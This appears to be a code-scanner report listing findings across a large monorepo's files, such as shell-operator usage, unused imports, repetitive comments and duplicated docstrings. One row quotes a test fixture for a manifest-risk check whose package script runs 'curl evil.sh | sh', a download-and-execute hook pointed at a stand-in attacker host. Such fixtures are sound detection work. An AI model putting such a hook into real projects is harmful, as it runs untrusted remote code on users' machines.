HIGH…rmance-ai/query_performance_ai/orchestrator/harvest.py36 cmd = f"find {shlex.quote(dir_path)} -maxdepth 1 -type f -printf '%f\\n' 2>/dev/null || true"CODE
HIGHtools/hogli/tests/test_command_types.py20 cmd = DirectCommand("test", {"cmd": "echo foo && echo bar"})CODE
HIGHtools/hogli/tests/test_command_types.py27 assert call_args[0][0] == "echo foo && echo bar"CODE
HIGHtools/hogli/tests/test_command_types.py46 cmd = DirectCommand("test", {"cmd": "echo foo && echo bar"})CODE
HIGHtools/hogli/tests/test_command_types.py19 """Test commands with && or || use shell=True."""STRING
HIGHtools/hogli/tests/test_command_types.py19 """Test commands with && or || use shell=True."""STRING
HIGHtools/hogbox-preview/hogbox_preview/backend.py113 inner = f"bash {base}.sh > {log} 2>&1 && touch {done} || touch {fail}"CODE
HIGHtools/hogbox-preview/hogbox_preview/stack.py231 "for _ in $(seq 1 30); do docker info >/dev/null 2>&1 && break; sleep 2; done; "CODE
HIGHtools/hogbox-preview/hogbox_preview/stack.py371 "docker volume rm posthog_postgres-15-data || true"CODE
HIGHtools/hogbox-preview/hogbox_preview/stack.py445 "rm -rf frontend/dist && mkdir -p frontend/dist staticfiles && "CODE
HIGHtools/hogbox-preview/hogbox_preview/stack.py508probe login GET /login || exit 1CODE
HIGHtools/hogbox-preview/tests/test_hogland_backend.py8 cd tools/hogbox-preview && python -m unittest discover testsSTRING
HIGHtools/hogbox-preview/tests/test_stack_secret_key.py9 cd tools/hogbox-preview && python -m unittest discover testsSTRING
HIGHtools/hogbox-preview/tests/test_deep_health.py16 cd tools/hogbox-preview && python -m unittest discover testsSTRING
HIGHtools/hogbox-preview/tests/test_swap_frontend.py15 cd tools/hogbox-preview && python -m unittest discover testsSTRING
HIGHtools/pr-approval-agent/familiarity.py68 """Serialize an AuthorFamiliarity for the evidence bundle (or null)."""STRING
HIGHtools/pr-approval-agent/test_manifest_risk.py28 _pkg('"test": "jest && curl evil.sh | sh"'),CODE
HIGHtools/hogli-commands/hogli_commands/devenv/generator.py262_news=$(curl -sf --max-time 2 '{news_url}' 2>/dev/null || cat {news_local} 2>/dev/null || true)CODE
HIGH…li-commands/hogli_commands/tests/test_workflow_lint.py276 group: build-${{ github.head_ref || github.ref }}STRING
HIGH…li-commands/hogli_commands/tests/test_workflow_lint.py284 group: test-${{ github.head_ref || github.ref }}STRING
HIGH…li-commands/hogli_commands/tests/test_workflow_lint.py211 concurrency: "${{ github.workflow }}-${{ github.head_ref || github.ref }}"STRING
HIGH…li-commands/hogli_commands/tests/test_workflow_lint.py249 group: ${{ github.workflow }}-${{ github.head_ref || github.run_id }}STRING
HIGH…li-commands/hogli_commands/tests/test_workflow_lint.py305 group: build-${{ github.head_ref || github.ref }}STRING
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py177 assert result["shell"] == "bin/wait-for-docker && bin/dev-sandbox ./bin/start-backend"CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py185 "shell": "bin/dev-open-when-ready http://localhost:6006 && pnpm install && pnpm run storybook",CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py190 "bin/dev-open-when-ready http://localhost:6006 && bin/dev-sandbox "CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py191 + shlex.quote("pnpm install && pnpm run storybook")CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py198 result = self._wrap({"shell": "echo hi && bin/wait-for-docker && ./server", "sandbox": True})CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py199 assert result["shell"] == "bin/wait-for-docker && bin/dev-sandbox " + shlex.quote("echo hi && ./server")CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py205 result = self._wrap({"shell": "bin/wait-for-docker && bin/wait-for-postgres-tables x", "sandbox": True})CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_devenv.py207 assert result["shell"] == "bin/wait-for-docker && bin/wait-for-postgres-tables x"CODE
HIGH…ogli-commands/hogli_commands/tests/test_ci_insights.py106@pytest.mark.parametrize("payload", ["", "not json{", '{"actions": [null]}'])CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_checks.py526 scripts={"backend:test": "pytest -c ../../pytest.ini --rootdir ../.. backend/ -v --tb=short || true"},CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_checks.py536 scripts={"backend:test": "pytest -c ../../pytest.ini --rootdir ../.. backend/ -v --tb=short || exit 0"},CODE
HIGH…ols/hogli-commands/hogli_commands/tests/test_checks.py589 "backend:test": "pytest -c ../../pytest.ini --rootdir ../.. backend/nonexistent -v --tb=short || true",CODE
HIGHtools/hogli-commands/hogli_commands/devbox/cli.py1564 hogli devbox:exec -n api -- bash -lc 'cd ~/posthog && git status'STRING
HIGH…/hogli_commands/workflow_lint/checks/pr_concurrency.py7 group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}STRING
HIGH…/hogli_commands/workflow_lint/checks/pr_concurrency.py57 " group: ${{ github.workflow }}-${{ github.head_ref || github.ref }}\n"CODE
HIGH…/hogli_commands/workflow_lint/checks/pr_concurrency.py77 "concurrency group uses `github.head_ref || github.run_id`; use "CODE
HIGH…/hogli_commands/workflow_lint/checks/pr_concurrency.py78 "`github.head_ref || github.ref` so push runs deduplicate"CODE
HIGHtools/traffic-sim/cli.py63 let snippetLocation = null;CODE
HIGHtools/traffic-sim/cli.py67 snippetLocation = s.parentElement ? s.parentElement.tagName.toLowerCase() : null;CODE
HIGHtools/traffic-sim/cli.py71 let initConfig = null;CODE
HIGHtools/traffic-sim/cli.py81 api_host: p.api_host || null,CODE
HIGHtools/traffic-sim/cli.py81 api_host: p.api_host || null,CODE
HIGHtools/traffic-sim/cli.py82 person_profiles: p.person_profiles || null,CODE
HIGHtools/traffic-sim/cli.py82 person_profiles: p.person_profiles || null,CODE
HIGHtools/traffic-sim/cli.py90 if (!initConfig && window.posthog && window.posthog.config) {CODE
HIGHtools/traffic-sim/cli.py93 api_key: c.token || null,CODE
HIGHtools/traffic-sim/cli.py93 api_key: c.token || null,CODE
HIGHtools/traffic-sim/cli.py94 api_host: c.api_host || null,CODE
HIGHtools/traffic-sim/cli.py94 api_host: c.api_host || null,CODE
HIGHtools/traffic-sim/cli.py95 person_profiles: c.person_profiles || null,CODE
HIGHtools/traffic-sim/cli.py95 person_profiles: c.person_profiles || null,CODE
HIGHtools/traffic-sim/cli.py98 const arrScript = posthogScripts.find(s => s.src && s.src.includes('array'));CODE
HIGHtools/traffic-sim/cli.py100 const runtimeState = defined && window.posthogCODE
HIGHtools/traffic-sim/cli.py104 distinct_id: window.posthog.get_distinct_id ? window.posthog.get_distinct_id() : null,CODE
HIGHtools/traffic-sim/cli.py105 config_api_host: window.posthog.config ? window.posthog.config.api_host : null,CODE
HIGHtools/traffic-sim/cli.py109 if (runtimeState.loaded && hasPosthogInitId) loadMethod = 'head_snippet';CODE
722 more matches not shown…
Unused Imports4071 hits · 3501 pts
SeverityFileLineSnippetContext
LOWtools/test_test_selection_verdict.py1CODE
LOWtools/test_selection_verdict.py15CODE
LOWtools/test_snob_backend_test_selection_shadow.py1CODE
LOWtools/snob_backend_test_selection_shadow.py29CODE
LOWtools/phrocs/mcp_server.py12CODE
LOW…dboxed_autoresearch_agent/pi_plugin/scripts/_common.py3CODE
LOW…research_agent/pi_plugin/scripts/ch_compare_results.py7CODE
LOW…esearch_agent/pi_plugin/scripts/ch_capture_baseline.py4CODE
LOW…toresearch_agent/pi_plugin/scripts/ch_run_candidate.py4CODE
LOW…xed_autoresearch_agent/pi_plugin/scripts/transports.py9CODE
LOW…toresearch_agent/pi_plugin/scripts/ch_campaign_init.py9CODE
LOW…earch_agent/pi_plugin/scripts/tests/test_transports.py8CODE
LOW…t/pi_plugin/templates/workspace/autoresearch_checks.py8CODE
LOW…ch_agent/pi_plugin/templates/workspace/autoresearch.py7CODE
LOW…ance_ai/sandboxed_autoresearch_agent/driver/runtime.py8CODE
LOW…ai/sandboxed_autoresearch_agent/driver/run_campaign.py15CODE
LOW…e_ai/sandboxed_autoresearch_agent/driver/sandboxing.py27CODE
LOW…ce-ai/query_performance_ai/orchestrator/coordinator.py22CODE
LOW…ormance-ai/query_performance_ai/orchestrator/server.py10CODE
LOW…e-ai/query_performance_ai/orchestrator/slow_queries.py9CODE
LOW…rmance-ai/query_performance_ai/orchestrator/harvest.py3CODE
LOW…query_performance_ai/orchestrator/backends/metabase.py8CODE
LOW…ai/query_performance_ai/orchestrator/backends/local.py13CODE
LOW…ery_performance_ai/orchestrator/backends/_query_log.py10CODE
LOW…-ai/query_performance_ai/orchestrator/backends/base.py10CODE
LOW…rmance_ai/orchestrator/backends/tests/test_backends.py1CODE
LOW…performance_ai/orchestrator/tests/test_slow_queries.py1CODE
LOW…query_performance_ai/orchestrator/tests/test_server.py1CODE
LOW…ts/clickhouse-multinode/verify-multinode-clickhouse.py22CODE
LOWtools/hogli/tests/test_migrations.py3CODE
LOWtools/hogli/tests/test_manifest.py3CODE
LOWtools/hogli/tests/test_command_types.py3CODE
LOWtools/hogli/tests/test_validate.py3CODE
LOWtools/hogli/tests/test_cli.py3CODE
LOWtools/hogli/tests/test_telemetry.py3CODE
LOWtools/hogli/scripts/generate_man_page.py4CODE
LOWtools/hogli/src/hogli/hooks.py9CODE
LOWtools/hogli/src/hogli/lazy_commands.py3CODE
LOWtools/hogli/src/hogli/manifest.py3CODE
LOWtools/hogli/src/hogli/telemetry.py18CODE
LOWtools/hogli/src/hogli/command_types.py3CODE
LOWtools/hogli/src/hogli/validate.py3CODE
LOWtools/hogli/src/hogli/cli.py7CODE
LOWtools/hogli/src/hogli/__main__.py3CODE
LOWtools/hogbox-preview/hogbox_preview/backend.py21CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py11CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py11CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py11CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py11CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py12CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py13CODE
LOWtools/hogbox-preview/hogbox_preview/__init__.py14CODE
LOWtools/hogbox-preview/hogbox_preview/timing.py17CODE
LOWtools/hogbox-preview/hogbox_preview/stack.py34CODE
LOWtools/hogbox-preview/hogbox_preview/hogland_backend.py26CODE
LOW…/hogbox-preview/hogbox_preview/digitalocean_backend.py11CODE
LOWtools/hogbox-preview/hogbox_preview/__main__.py18CODE
LOWtools/hogbox-preview/tests/test_hogland_backend.py11CODE
LOWtools/hogbox-preview/tests/test_hogland_backend.py17CODE
LOWtools/hogbox-preview/tests/test_stack_secret_key.py12CODE
4011 more matches not shown…
Self-Referential Comments830 hits · 2675 pts
SeverityFileLineSnippetContext
MEDIUMdocker-compose.dev-full.yml3# This file is the same as `docker-compose.dev.yml` except it boots the services in containers instead of you running thCOMMENT
MEDIUM…rm/us/project-2/team-analytics-platform/terragrunt.hcl2# This file is NOT directly runnable - it provides shared config for child modules.COMMENT
MEDIUMtools/phrocs/Formula/phrocs.rb4# This file is auto-updated by CI on semver releases. DO NOT EDIT.COMMENT
MEDIUMtools/hogli-commands/hogli_commands/devenv/generator.py304 # Create a friendly message with config hintSTRING
MEDIUMdevenv/intent-map.yaml3# This file defines the domain model for developer environments:COMMENT
MEDIUMproducts/demo/backend/logic/products/hedgebox/matrix.py301 # Create the standard internal/test users cohort (same as non-demo teams get)COMMENT
MEDIUMproducts/demo/backend/logic/products/spikegpt/matrix.py49 # Create the standard internal/test users cohort (same as non-demo teams get)COMMENT
MEDIUMproducts/slack_app/backend/inbox_channel.py15# Creating a public channel and inviting members both require this scope.COMMENT
MEDIUM…backend/tests/temporal/destinations/snowflake/utils.py217 # Create a crude mock of the Snowflake API that just stores the queriesCOMMENT
MEDIUM…tinations/file_download/test_file_download_activity.py190 # Create a batch export in the DB since BatchExportFileDownload has a FK to it.COMMENT
MEDIUMproducts/batch_exports/backend/tests/api/test_update.py501 # Create a BatchExport straight in the database/temporal to avoid going through the APICOMMENT
MEDIUMproducts/cdp/backend/models/hog_function_template.py93 # Create a SHA256 hash of the contentCOMMENT
MEDIUM…ducts/cdp/backend/models/hog_functions/hog_function.py344 # Create a serializer data dictionary from the templateCOMMENT
MEDIUM…ducts/cdp/backend/models/hog_functions/hog_function.py356 # Create a mock request with the userCOMMENT
MEDIUMproducts/cdp/backend/api/hog_function.py437 # Create the function with the execution_orderCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_plugin.py696 # Create the pluginCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py198 # Create the action referenced in EXAMPLE_FULLCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py1720 # Create a non-transformation function - should not get execution_orderCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py2289 # Create a third functionCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py2374 # Create a third functionCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py2537 # Create a template in the DBCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py2551 # Create a HogFunction with template_idCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py2568 # Create a HogFunction without template_idCOMMENT
MEDIUMproducts/cdp/backend/api/test/test_hog_function.py2650 # Create a hog functionCOMMENT
MEDIUM…ts/cdp/backend/api/test/test_hog_function_templates.py207 # Create a modified sha of the templateCOMMENT
MEDIUM…ts/cdp/backend/api/test/test_hog_function_templates.py50 # Create a webhook templateCOMMENT
MEDIUM…ts/cdp/backend/api/test/test_hog_function_templates.py65 # Create a deprecated templateCOMMENT
MEDIUM…ts/cdp/backend/api/test/test_hog_function_templates.py96 # Create a site_destination template for filtering testsCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py712 # Create a new teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2823 # Create a flag for testingCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py373 # Create a flagCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py392 # Create a flagCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py948 # Create a flagCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py1603 # Create a team that will be deletedCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py1640 # Create a flag so batch loading succeedsCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py1721 # Create a real flag for the teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py1744 # Create a real flag for the teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2020 # Create a real flag for the teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2043 # Create a real flag for the teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2078 # Create a real flag for the teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2124 # Create a real flag for the teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2151 # Create a real flagCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2401 # Create a real flagCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2454 # Create a real flagCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2506 # Create a flag for the teamCOMMENT
MEDIUMproducts/feature_flags/backend/test/test_flags_cache.py2535 # Create a flag for the teamCOMMENT
MEDIUM…ts/feature_flags/backend/test/test_local_evaluation.py445 # Create the context first (this will fire a signal for EvaluationContext.post_save)COMMENT
MEDIUM…ts/feature_flags/backend/test/test_local_evaluation.py450 # Creating the association should fire the signalCOMMENT
MEDIUM…ts/feature_flags/backend/test/test_local_evaluation.py1218 # Create the circular reference: A -> B -> ACOMMENT
MEDIUMproducts/feature_flags/backend/api/scheduled_change.py287 # Create the CR and the ScheduledChange row in one transaction: the applier defers a bound CRCOMMENT
MEDIUM…/api/test/test_feature_flag_require_evaluation_tags.py104 # Create a flag first without the requirementCOMMENT
MEDIUM…/api/test/test_feature_flag_require_evaluation_tags.py175 # Create a flag with evaluation tagsCOMMENT
MEDIUM…/api/test/test_feature_flag_require_evaluation_tags.py207 # Create a flag with multiple evaluation tagsCOMMENT
MEDIUM…/api/test/test_feature_flag_require_evaluation_tags.py242 # Create a flag without evaluation tags (before requirement was enabled)COMMENT
MEDIUM…/api/test/test_feature_flag_require_evaluation_tags.py273 # Create a flag with evaluation tagsCOMMENT
MEDIUM…eature_flags/backend/api/test/test_scheduled_change.py23 # Create a feature flag to schedule changes forCOMMENT
MEDIUM…eature_flags/backend/api/test/test_scheduled_change.py54 # Create a feature flagCOMMENT
MEDIUM…eature_flags/backend/api/test/test_scheduled_change.py84 # Create a feature flagCOMMENT
MEDIUM…ags/backend/api/test/test_organization_feature_flag.py161 # Create a second user and log in as them (not the flag creator) so thatCOMMENT
MEDIUM…ags/backend/api/test/test_organization_feature_flag.py1363 # Create a flag with encrypted payloadsCOMMENT
770 more matches not shown…
Cross-File Repetition427 hits · 2135 pts
SeverityFileLineSnippetContext
HIGH…s/hogli-commands/hogli_commands/product_structure.yaml0celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - onlySTRING
HIGHproducts/metrics/backend/tasks/tasks.py0celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - onlySTRING
HIGHproducts/tracing/backend/tasks/tasks.py0celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - onlySTRING
HIGHproducts/data_catalog/backend/tasks/tasks.py0celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - onlySTRING
HIGHproducts/legal_documents/backend/tasks/tasks.py0celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - onlySTRING
HIGHproducts/access_control/backend/tasks/tasks.py0celery tasks for access_control. async entrypoints that call the facade (facade/api.py). keep task functions thin - onlySTRING
HIGH…ch_exports/backend/temporal/pipeline/internal_stage.py0delete all objects in bucket_name under key_prefix.STRING
HIGH…ducts/batch_exports/backend/tests/temporal/utils/s3.py0delete all objects in bucket_name under key_prefix.STRING
HIGHproducts/batch_exports/backend/tests/api/test_test.py0delete all objects in bucket_name under key_prefix.STRING
HIGH…temporal/tests/external_data/test_external_data_job.py0delete all objects in bucket_name under key_prefix.STRING
HIGH…rts/backend/temporal/destinations/http_batch_export.py0a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and STRING
HIGH…ackend/temporal/destinations/snowflake_batch_export.py0a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and STRING
HIGH…backend/temporal/destinations/redshift_batch_export.py0a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and STRING
HIGH…backend/temporal/destinations/postgres_batch_export.py0a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and STRING
HIGH…ckend/temporal/destinations/databricks_batch_export.py0a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and STRING
HIGH…backend/temporal/destinations/bigquery_batch_export.py0a temporal workflow to export clickhouse data into bigquery. this workflow is intended to be executed both manually and STRING
HIGH…ducts/batch_exports/backend/tests/temporal/conftest.py0fixture to manage a database for redshift export testing. managing a test database involves the following steps: 1. creaSTRING
HIGHproducts/data_warehouse/backend/tests/api/conftest.py0fixture to manage a database for redshift export testing. managing a test database involves the following steps: 1. creaSTRING
HIGHposthog/temporal/tests/conftest.py0fixture to manage a database for redshift export testing. managing a test database involves the following steps: 1. creaSTRING
HIGH…atch_exports/backend/tests/temporal/test_monitoring.py0provide a batch export for tests, not intended to be used.STRING
HIGH…orts/backend/tests/temporal/test_batch_export_utils.py0provide a batch export for tests, not intended to be used.STRING
HIGH…rts/backend/tests/temporal/pipeline/test_entrypoint.py0provide a batch export for tests, not intended to be used.STRING
HIGH…rts/backend/tests/temporal/destinations/s3/conftest.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGH…/temporal/destinations/redshift/test_redshift_utils.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGHproducts/batch_exports/backend/tests/api/test_test.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGH…sts/api/destination_tests/test_s3_destination_tests.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGH…es/backend/temporal/data_imports/tests/e2e/conftest.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGH…end/temporal/data_imports/tests/e2e/test_end_to_end.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGH…temporal/tests/external_data/test_external_data_job.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGH…emporal/data_imports/tests/e2e/test_bigquery_source.py0manage a client to interact with a minio bucket. yields the client after creating a bucket. upon resuming, we delete theSTRING
HIGH…ral/destinations/s3/test_workflow_with_minio_bucket.py0test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to alsoSTRING
HIGH…/tests/temporal/destinations/bigquery/test_workflow.py0test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to alsoSTRING
HIGH…s/temporal/destinations/snowflake/test_workflow_e2e.py0test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to alsoSTRING
HIGH…/tests/temporal/destinations/postgres/test_workflow.py0test a `postgresbatchexportworkflow` backfilling the persons model. we expect persons outside the batch interval to alsoSTRING
HIGH…ral/destinations/s3/test_workflow_with_minio_bucket.py0test postgres export workflow end-to-end without any events to export. the workflow should update the batch export run sSTRING
HIGH…/tests/temporal/destinations/bigquery/test_workflow.py0test postgres export workflow end-to-end without any events to export. the workflow should update the batch export run sSTRING
HIGH…/tests/temporal/destinations/postgres/test_workflow.py0test postgres export workflow end-to-end without any events to export. the workflow should update the batch export run sSTRING
HIGH…ckend/tests/temporal/destinations/bigquery/conftest.py0return a bigquery configuration dictionary to use in tests.STRING
HIGHproducts/batch_exports/backend/tests/api/test_test.py0return a bigquery configuration dictionary to use in tests.STRING
HIGH…i/destination_tests/test_bigquery_destination_tests.py0return a bigquery configuration dictionary to use in tests.STRING
HIGH…emporal/data_imports/tests/e2e/test_bigquery_source.py0return a bigquery configuration dictionary to use in tests.STRING
HIGH…ckend/tests/temporal/destinations/bigquery/conftest.py0manage a bigquery view for testing. we clean up the view after every test. could be quite time expensive, but guaranteesSTRING
HIGH…i/destination_tests/test_bigquery_destination_tests.py0manage a bigquery view for testing. we clean up the view after every test. could be quite time expensive, but guaranteesSTRING
HIGH…emporal/data_imports/tests/e2e/test_bigquery_source.py0manage a bigquery view for testing. we clean up the view after every test. could be quite time expensive, but guaranteesSTRING
HIGH…/tests/temporal/destinations/bigquery/test_activity.py0test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutabSTRING
HIGH…s/temporal/destinations/snowflake/test_activity_e2e.py0test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutabSTRING
HIGH…/tests/temporal/destinations/redshift/test_activity.py0test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutabSTRING
HIGH…s/temporal/destinations/redshift/test_copy_activity.py0test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutabSTRING
HIGH…/tests/temporal/destinations/postgres/test_activity.py0test that the `insert_into_postgres_activity_from_stage` merges new versions of rows. this unit tests looks at the mutabSTRING
HIGH…/tests/temporal/destinations/bigquery/test_activity.py0test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema oSTRING
HIGH…s/temporal/destinations/snowflake/test_activity_e2e.py0test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema oSTRING
HIGH…/tests/temporal/destinations/redshift/test_activity.py0test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema oSTRING
HIGH…s/temporal/destinations/redshift/test_copy_activity.py0test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema oSTRING
HIGH…/tests/temporal/destinations/postgres/test_activity.py0test that the `insert_into_postgres_activity_from_stage` handles changes to the person schema. if we update the schema oSTRING
HIGH…/tests/temporal/destinations/bigquery/test_workflow.py0test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we dSTRING
HIGH…tests/temporal/destinations/snowflake/test_workflow.py0test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we dSTRING
HIGH…/tests/temporal/destinations/redshift/test_workflow.py0test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we dSTRING
HIGH…/tests/temporal/destinations/postgres/test_workflow.py0test that postgres export workflow can gracefully handle unexpected errors when inserting postgres data. this means we dSTRING
HIGH…/tests/temporal/destinations/bigquery/test_workflow.py0test that postgres export workflow can gracefully handle non-retryable errors when inserting postgres data. this means wSTRING
HIGH…/tests/temporal/destinations/redshift/test_workflow.py0test that postgres export workflow can gracefully handle non-retryable errors when inserting postgres data. this means wSTRING
367 more matches not shown…
Over-Commented Block1662 hits · 1590 pts
SeverityFileLineSnippetContext
LOWotel-collector-config.dev.yaml61 scrape_interval: 15sCOMMENT
LOWconftest.py21 # Deliberately no gc.collect() before the freeze: sweeping the boot garbageCOMMENT
LOWpytest.ini1[pytest]COMMENT
LOWdocker-compose.multinode-clickhouse.yml1#COMMENT
LOWdocker-compose.dev.yml1#COMMENT
LOWdocker-compose.sandbox.yml1#COMMENT
LOWdocker-compose.base.yml241 # master), so presigned POST uploads — error tracking symbol sets via posthog-cli —COMMENT
LOWdocker-compose.profiles.yml1# Docker Compose profile overlay — historical backwards-compatibility layer.COMMENT
LOW…analytics-platform/dashboard-key-metrics/dashboards.tf1# =============================================================================COMMENT
LOW…eam-analytics-platform/dashboard-key-metrics/alerts.tf1# =============================================================================COMMENT
LOWnodejs/jest.setup-env.ts1import { mkdirSync, readFileSync, writeFileSync } from 'fs'COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1461 // // User 1 creationCOMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1481 // // User 2 creationCOMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1501 // // Merge users: alias user1 -> user2COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1521 // await waitForKafkaMessages(kafkaProducer)COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1541 // new_name: 'User 1 - Updated',COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1561 // // Except distinctids to match the ids, in any orderCOMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1581 // name: 'User 1',COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1601 // name: 'User 2',COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1621 // distinct_id: user2DistinctId,COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1641 // expect(events.length).toBe(6)COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1661 // })COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1681 // })COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1701 // },COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1721COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1741 // .build(),COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1761 // // All events should be processed without errorsCOMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts1781 // expect.objectContaining({COMMENT
LOWnodejs/tests/ingestion/ingestion-e2e.test.ts2361 })COMMENT
LOWnodejs/src/cdp/workflows-e2e.test.ts361 const eventNameBytecode = (eventName: string): any[] => ['_H', 1, 32, eventName, 32, 'event', 1, 1, 11]COMMENT
LOWnodejs/src/cdp/workflows-e2e.test.ts2001 it('does not emit duplicate Resuming / Executing / pause logs for the email-queue routing reschedule', async () => {COMMENT
LOWnodejs/src/cdp/workflows-e2e.test.ts2321 expect(logMessages.filter((msg) => msg.includes('Email sent to recipient@example.com'))).toHaveLength(2)COMMENT
LOWnodejs/src/cdp/types.ts341 // Set by the subscription matcher consumer when it wakes a wait_until_conditionCOMMENT
LOWnodejs/src/cdp/types.ts361 // The flag is *not* cleared here — it stays set so `executeCurrentAction` canCOMMENT
LOWnodejs/src/cdp/config.ts221 HOG_FUNCTION_MONITORING_LOG_ENTRIES_PRODUCER: WARPSTREAM_INGESTION_PRODUCER,COMMENT
LOWnodejs/src/cdp/rerun/rerun-e2e.test.ts301 expect(originalRows[0].function_kind).toBe('hog_function')COMMENT
LOWnodejs/src/cdp/rerun/rerun-e2e.test.ts381 }, 30_000)COMMENT
LOWnodejs/src/cdp/rerun/rerun-paginator.service.ts581 const hogFunction = await this.hogFunctionManager.getHogFunction(functionId)COMMENT
LOWnodejs/src/cdp/schema/cyclotron.ts61COMMENT
LOWnodejs/src/cdp/services/self-loop-guard.ts1import { Counter } from 'prom-client'COMMENT
LOWnodejs/src/cdp/services/hogflows/hogflow-utils.ts141COMMENT
LOW…dejs/src/cdp/services/hogflows/actions/hog_function.ts61 result.invocation.state.currentAction!.hogFunctionState = functionResult.invocation.stateCOMMENT
LOW…ejs/src/cdp/services/cyclotron-v2/cyclotron-v2.test.ts1361 it('assigns dequeue_seq when a hog job is rescheduled into the email queue', async () => {COMMENT
